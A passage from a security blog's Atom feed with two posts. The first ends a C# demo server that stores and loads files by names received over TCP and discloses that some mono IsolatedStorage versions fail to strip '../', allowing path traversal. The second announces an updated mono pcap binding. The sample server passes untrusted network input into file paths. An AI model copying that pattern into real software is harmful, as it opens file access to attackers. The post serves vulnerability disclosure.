0);"&gt;return&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; b;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;public&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;static&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;void&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Main&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;()&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          Byte[] buf = &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Byte[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;256&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;];&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;int&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; cnt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;string&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; data = &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;""&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          ASCIIEncoding ascii = &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;ASCIIEncoding&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          TcpListener l = &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;TcpListener&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;8080&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          l.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Start&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;try&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  Socket s = l.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;AcceptSocket&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;while&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (data.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Trim&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;() != &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"quit"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                          Array.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Clear&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(buf, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, buf.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Length&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                          &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; ((cnt = s.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Receive&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(buf, buf.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Length&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)) == &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                                  &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;break&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                          data = ascii.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;GetString&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(buf, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, cnt);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                          Console.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;WriteLine&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Received: {0}"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, data.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Trim&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;());&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                          &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (data.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;StartsWith&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"store "&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                                  Array.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Clear&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(buf, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, buf.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Length&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                                  &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (s.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Receive&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(buf, buf.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Length&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) == &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                                          &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;break&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                                  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;store&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(data.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Substring&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;6&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, data.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Length&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; - &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;6&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;).&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Trim&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(), buf);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                          } &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;else&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (data.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;StartsWith&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"load "&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                                  Byte[] result = &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;load&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(data.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Substring&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;5&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, data.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Length&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; - &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;5&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;).&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Trim&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;());&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                                  s.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Send&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(result);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                          }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          } &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;catch&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  Console.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;WriteLine&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Exception!"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          l.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Stop&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;You can connect to the server on TCP port 8080 and&lt;br /&gt;store/load data via the telnet interface for example.&lt;br /&gt;Beside the easy of code and the fact that it treats&lt;br /&gt;TCP streams like messages which could make trouble in&lt;br /&gt;real networking environments, this code should be correct.&lt;br /&gt;It fits perfectly as a localhost example. There is just&lt;br /&gt;a problem with the &lt;span style="font-style: italic;"&gt;IsolatedStorage&lt;/span&gt; itself!&lt;br /&gt;Some versions of the mono runtime do not remove&lt;br /&gt;"../" character sequences from the path component as it&lt;br /&gt;should. So, depending on your configuration you can&lt;br /&gt;obtain funny results. On a &lt;span&gt;openSUSE 11.1&lt;/span&gt;, the storage&lt;br /&gt;place is in &lt;span style="font-style: italic;"&gt;~/.config/.isolated-storage/&lt;some-hash&gt;[some-hash]/.&lt;br /&gt;&lt;/some-hash&gt;&lt;/span&gt;&lt;span&gt;&lt;some-hash&gt;An attacking scenario is inside the &lt;span style="font-style: italic;"&gt;xterm.&lt;br /&gt;&lt;/span&gt;I already informed the maintainers and a fix is underway.&lt;br /&gt;Its not a big issue, and I dont have any application in mind&lt;br /&gt;that is actually vulnerable and uses &lt;span style="font-style: italic;"&gt;IsolatedStorage&lt;/span&gt; this way.&lt;br /&gt;&lt;br /&gt;File-system/storage tricks will be a major playground for&lt;br /&gt;.NET/C# applications in future. In a non-public review&lt;br /&gt;of a larger C# based "system" it turned out that it was possible to obtain&lt;br /&gt;local root privileges by loading evil assemblies as&lt;br /&gt;a result of tricking the application.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/some-hash&gt;&lt;/span&gt;&lt;span&gt;&lt;some-hash&gt;Additionally, the managed runtime may provide&lt;br /&gt;(depending on the implementation) all the&lt;br /&gt;nasty things that we got rid of in native CPUs during&lt;br /&gt;the last years: executable data, fixed addresses etc.&lt;br /&gt;&lt;br /&gt;&lt;/some-hash&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;some-hash&gt;&lt;br /&gt;&lt;/some-hash&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8544642305299465204?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8544642305299465204/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8544642305299465204' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8544642305299465204'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8544642305299465204'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/03/sharpen-your-net-skills.html' title='sharpen your .NET skills'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_DbsW_SGQJgI/Scj9iBRDVFI/AAAAAAAAAGI/HQEix2KGejI/s72-c/is.jpg' height='72' width='72'/><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-6212280893757989804</id><published>2009-03-20T11:59:00.000-07:00</published><updated>2009-03-20T12:11:32.251-07:00</updated><title type='text'>PcapSharp updated</title><content type='html'>&lt;span style="font-family:arial;"&gt;&lt;span style="font-family:courier new;"&gt;You can find&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;a new &lt;a style="font-weight: bold;" href="http://www.suse.de/%7Ekrahmer/pcap-11.1.cs"&gt;pcap#&lt;/a&gt; version of my &lt;span style="font-style: italic;"&gt;mono&lt;/span&gt; &lt;span style="font-style: italic;"&gt;pcap&lt;/span&gt; binding&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;on my website. Its better tested than the old version,&lt;br /&gt;and supports packet dumping and offline capturing of packets&lt;br /&gt;now as well as it supported online capturing in the past.&lt;br /&gt;It is possible to read/analyze the &lt;/span&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;a style="font-weight: bold;" href="http://www.suse.de/%7Ekrahmer/pcap-11.1.cs"&gt;pcap#&lt;/a&gt; dump-files with&lt;br /&gt;&lt;span style="font-style: italic;"&gt;tcpdump&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;wireshark. &lt;/span&gt;I am not an expert for Marshalling&lt;br /&gt;C# types to plain C types, but I think I got it right :-)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-6212280893757989804?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/6212280893757989804/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=6212280893757989804' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6212280893757989804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6212280893757989804'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/03/pcapsharp-updated.html' title='PcapSharp updated'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry></feed>